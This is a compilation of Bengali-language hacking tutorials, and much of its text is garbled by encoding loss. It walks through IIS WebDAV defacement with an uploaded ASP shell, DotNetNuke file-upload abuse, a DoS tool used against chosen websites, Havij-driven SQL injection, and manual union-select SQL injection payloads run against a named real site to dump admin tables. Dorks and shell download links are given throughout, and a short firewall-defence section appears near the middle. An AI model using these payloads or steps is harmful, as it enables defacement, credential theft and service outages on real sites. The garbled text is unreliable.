WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
